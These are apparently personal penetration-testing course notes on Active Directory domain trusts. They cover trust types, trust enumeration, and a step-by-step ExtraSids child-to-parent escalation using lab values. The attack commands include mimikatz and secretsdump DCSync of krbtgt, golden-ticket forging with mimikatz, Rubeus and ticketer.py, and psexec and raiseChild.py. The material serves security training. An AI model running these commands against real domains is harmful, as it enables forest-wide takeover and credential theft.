---
title: "19. Domain Trusts"
date: 2024-09-12
draft: false
---

Orgs acquire new companies and integrate their environment. 
Common way of integration? Establish trust relationship to the new domain. 
- Avoid migrating all established objects 
- Introduces weaknesses into the customer's env if not careful 
- For ex; Subdomain with exploitable flaw / vuln can provide quick route 
- Companies may also establish trusts with other companies (such as an MSP) / customer/ other biz units of the same company (divisions in other geo regions)

#### Active Directory Trust Overview
- Establish forest-forest or domain-domain authentication 
- Allow users to access resources across domains / outside of main domain
- Link between auth systems of two domains 
- 1-way or 2-way (bidirectional) communications

Various types of trusts:
- Parent-child 
	- 2/more doms in same forest
	- Child two-way transitive trust w/ domain 
	- i.e. child domain `corp.ilfreight.local` auths into parent `ilfreight.local` , vice versa 
- Cross-link 
	- Trust between child domains
- External
	- non-transitive trust btwn two sep domains in sep forests which are not already joined by a forest trust. Utilizes SID filtering or filters out auth reqs (by sid) not from trusted domain 
- Tree-root
	- Two-way transitive trust between forest root domain + new tree root domain. Created by design when you setup a new tree root domain within a forest
- Forest
	- Transitive trust between two forest root domains 
- ESAE
	- Bastion forest used to manage AD 

Trusts = transitive OR non-transitive. 
- TRANSITIVE TRUSTS
	- Trust is extended to objects that the child domain trusts. 
		- Assume three domains. 
			- DomA trusts DomB
			- DomB transitively trusts DomC 
			- DomA automatically trusts DomC 
	- Shared, 1-to-many 
	- Trust shared w/ anyone in forest
	- Forest, tree-root, parent-child, and cross-link trusts are transitive
- NON TRANSITIVE TRUSTS
	- child domain itself is the only one trusted 
	- Direct trust
	- Not extended to next level child domains 
	- Typical for external or custom trust setups

Easy comparison: Transitive trust, you have extended the permission to anyone in your household (forest) to accept a package on your behalf. 
Non-transitively, you have given strict orders with the package that no noe other than the delivery service and you, the purchaser, can handle the package, and only you can sign for it. 

Trusts can be setup in two directions: one-way or bidirectional 
- One-way trust: 
	- Users in trusted domain can access resources in a trusting domain and not vice-versa
- Bidirectional trust:
	- Users from both trusting domains can access resources in the other domain.
		- IE: Bidir trust btwn ILFREIGHT.LOCAL and FREIGHTLOG.LOCAL, users in ILFREIGHT.LOCAL would be able to access FREIGHTLOG.LOCAL and vice-versa

Trusts are very often setup incorrectly and provide unintended critical attack paths. 
May be setup quickly and not reviewed later for security implications. 
M&As with bidir trust to acquired company env may unknowingly introduce risk into the acquirer's environment if sec posture of the bought domain is unknown/untested. 

Not uncommon to kerberoast against a domain outside the principal domain to obtain user with admin access in principal. 

---

## Enumerating trust relationships 
- `Get-ADTrust` cmdlet, esp helpful if limited only to built-ins 
```bash
Import-Module activedirectory
Get-ADTrust -Filter *
```

Example output: 
```bash
Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=LOGISTICS.INLANEFREIGHT.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : False
IntraForest             : True
IsTreeParent            : False
IsTreeRoot              : False
Name                    : LOGISTICS.INLANEFREIGHT.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : f48a1169-2e58-42c1-ba32-a6ccb10057ec
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : LOGISTICS.INLANEFREIGHT.LOCAL
TGTDelegation           : False
TrustAttributes         : 32
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False
```

```bash
Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=FREIGHTLOGISTICS.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : FREIGHTLOGISTICS.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : 1597717f-89b7-49b8-9cd9-0801d52475ca
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : FREIGHTLOGISTICS.LOCAL
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False
```
ILFREIGHT.LOCAL has two dom trusts:
- `LOGISTICS.ILFREIGHT.LOCAL` 
	- `IntraForest` shows this is a child domain 
	- currently positioned in root domain 
- `FREIGHTLOGISTICS.LOCAL` 
	- ForestTransitive set to True - meaning this is a forest trust or ext trust. 
- Both trusts setup to be bidirectional - users can auth back/forth between both trusts. Important to note during an assessment.
	- If we cannot auth across a trust we cannot perform any enumeration or attacks across the trust 

Aside from using built-in AD tools such as ActiveDirectory Powershell module, both powerview/bloodhound can be utilized to enumerate trust relationships, the type of trusts established, and the authentication flow. After importing PowerView, we can use `Get-DomainTrust` function to enumerate what trusts exist, if any.

PowerView can be used to perform dom trust mapping + provide info on type of trust and direction of trust. 
`Get-DomainTrustMapping`

Once we have a mapping we can enumerate across the trusts. i.e. Look at all users in child domain:
```bash
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
```

Another tool we can use to get domain trust is `netdom` 
```bash
netdom query /domain:inlanefreight.local trust
netdom query /domain:inlanefreight.local dc
netdom query /domain:inlanefreight.local workstation
```
Also possible to use bloodhound and the prebuilt `Map Domain Trusts` query 

---
## Attacking dom trusts (CHILD TO PARENT TRUSTS) From Windows
**SidHistory primer**
- sidHistory used in migration scenarios
	- If user in DomA migrated to DomB, new acct created in domB. 
	- Original SID added to new user's SID history 
- intended for use across domains but works in same domain
- Using mimikatz attacker can perform SID history injection and add an administrator account to the SID history attribute of an account they control. 
	- Logging in, all sids associated with the acct are added to user token 
	- Token used to determine what resources acct can access
	- If SID of DA added to Sidhistory then account is able to DCsync and make a golden ticket (or kerb TGT) and allow us to auth any account in domain 

#### **ExtraSids attack , mimikatz**
- Allows compromise of parent domain once child domain has been compromised. 
- In same AD forest, sidHistory property is respected due to lack of SID FILTERING protection. Sid filtering is a protection put in place to filter out authentication requests from a domain in another forest across a trust. 
- If user in child domain has sidHistory set to `Enterprise Admins Group` (which only exists in parent domain) they are treated as a member of this group and allows admin to whole forest. 
	- i.e.; creating a goldentcket from compromised child domain to compromise the parent domain. 
	- in this case, leverage SIDHistory to grant acct or non existent acct enterprise admin rights by modifying this attribute to contain the SID for the enterprise admin group 

To perform this atk after compromising a child domain we need the below:
- krbtgt hash for child domain
	- svc acct for kdc in ad 
	- used to enc/sign all kerb tickets 
	- dc use accts pw to decrypt/validate kerb tickets
	- used to create kerb tgt tickets used to req tgs tickets for any svc on any host in domain 
	- this is known as a golden ticket attack, wellknown persistence mechanism 
- sid for child domain
- name of target user in child domain (doesn't need to actually exist) 
- fqdn of child domain
- sid of ent. admin group of root domain 

after compromise, we can login as DA / similar and perform a DCSync attack to obtain the NT hash for the KRBTGT account. 
```bash
PS C:\htb>  mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
```
use powerview `Get-DomainSID` func to get SID for child domain - it's visible in mimikatz output above though 
```bash
PS C:\htb> Get-DomainSID

S-1-5-21-2806153819-209893948-922872689
```
next use `Get-DomainGroup` from powerview to obtain SID for enterprise admin group in parent domain. `Get-ADGroup` cmdlet works too 
`Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"`

```bash
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
```

this should fulfill all of the above points 
you can `ls \\academy-ea-dc01.inlanefreight.local\c$` to try nd list smb share to determine if you actually have access before attack 

now we create golden ticket w mimikatz

```bash
mimikatz.exe

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

```
/sid:922872689 refers to sid for child domain we've compromised
/sids:2865463114-519 refers to enterprise admins group of root domain 
/domain = fqdn or child domain 
/krbtgt is the krbtgt hash for child domain 

type `klist` to see if kerb ticket is in memory after this 

from here its possible to access any resources in parent domain 

---
### ExtraSids attack - Rubeus

Creating a golden ticket-  /rc4 is our NT hash for krbtgt, /sids tells rubeus to create golden ticket giving us same rights as members of ent. admin group in parent domain 

```bash
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
```
Check ticket is in memory with klist
`klist`

Test the access with smb ls as above, or perform a DCSync attack against the parent domain, targeting lab_adm Domain Admin user. 

```bash
PS C:\Tools\mimikatz\x64> .\mimikatz.exe

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
```

Dealing with multiple domains- If target domain is not the same as user's domain, we need to specify the exact domain to perform the DCSync operation on the particular domain controller. 
This will look like the following: 

```bash
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
```

---
## Attacking domain trusts - Child -> Parent (From linux)

This works extremely similarly to the above. 
Requirements: 
```bash
The KRBTGT hash for the child domain
The SID for the child domain
The name of a target user in the child domain (does not need to exist!)
The FQDN of the child domain
The SID of the Enterprise Admins group of the root domain
```
Once we have complete control over the child domain we can use `secretsdump.py` to dcsync and grab the NTLM hash for the KRBTGT account 
```bash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
```

Next use `lookupsid.py`
- Perform SID brute to find SID of the child domain 
- Supply IP address (IP of domain controller) for targeted domain for sid lookup
- Gives back SID of domain and RIDs for each user/group that could be used to create their SID in format `DOMAIN_SID-RID`

BRUTE FORCING SID 
```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 
```
Filter it out by piping output to grep and looking for domain SID 

LOOKING FOR DOMAIN SID 
```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
```

now target dc, grab domain, attach rid of enterprise admins group 
HANDY LIST OF KNOWN SIDs https://adsecurity.org/?p=1001
```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
```

Note: refer [[00a. Scenario specific information#Perform ExtraSids attack from Linux.]]
If domain SID is: 
`S-1-5-21-3842939050-3880317879-2865463114` 
and Group RID is: 
`519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)` 
then the group SID is 
`S-1-5-21-3842939050-3880317879-2865463114-519`

```bash
We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user hacker to forge our Golden Ticket.

The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f
The SID for the child domain: S-1-5-21-2806153819-209893948-922872689

The name of a target user in the child domain (does not need to exist!): hacker

The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL

The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

```

Next we'll use `ticketer.py` from Impacket to construct a golden ticket. 
Ticket is valid to access resources in child domain, and parent domain 
specified by `-domain-sid` and `-extra-sid` respectively (extra-sid is parent domain) 
```bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
```
Ticket will be saved as a `credential cache` (.ccache) file. Used to hold Kerb creds. Set your `KRB5CCNAME` env var
```bash
export KRB5CCNAME=hacker.ccache 
```
Then, we can use impacket's pssexec to test domain access: 
https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py

```bash
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
```

Extra: 
Impacket also has tool `raiseChild.py` 
- automate escalating from child -> parent
- specify DC + creds for admin in child, script does the rest

Steps raisechild performs: 
- List out child / parent FQDNs 
- Obtains the SID for the Enterprise Admins group of the parent domain
- Retrieves the hash for the KRBTGT account in the child domain
- Creates a Golden Ticket
- Logs into the parent domain
- Retrieves credentials for the Administrator account in the parent domain

If `target-exec` is specified, it authenticates to parent domain's DC with Psexec. 
```bash
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Password:
```

raiseChild.py is handy, but it's essential to understand the process and be able to perform this manually. 
If the tool fails, we are more likely to understand why and be able to troubleshoot what's missing - which we wouldn't be able to do if we were blindly running this tool. 
ALWAYS be careful when running any `autopwn` tool / script 

Other tools exist that can take data from bloodhound, ID atk paths, and perform autopwn functions that attempt to perform each action in an attack chain to elevate to DC (like a long ACL attack path) 
- Avoid these tools unless you understand them FULLY. 
- DO NOT want to tell a client something broke because we used an automated attack script 


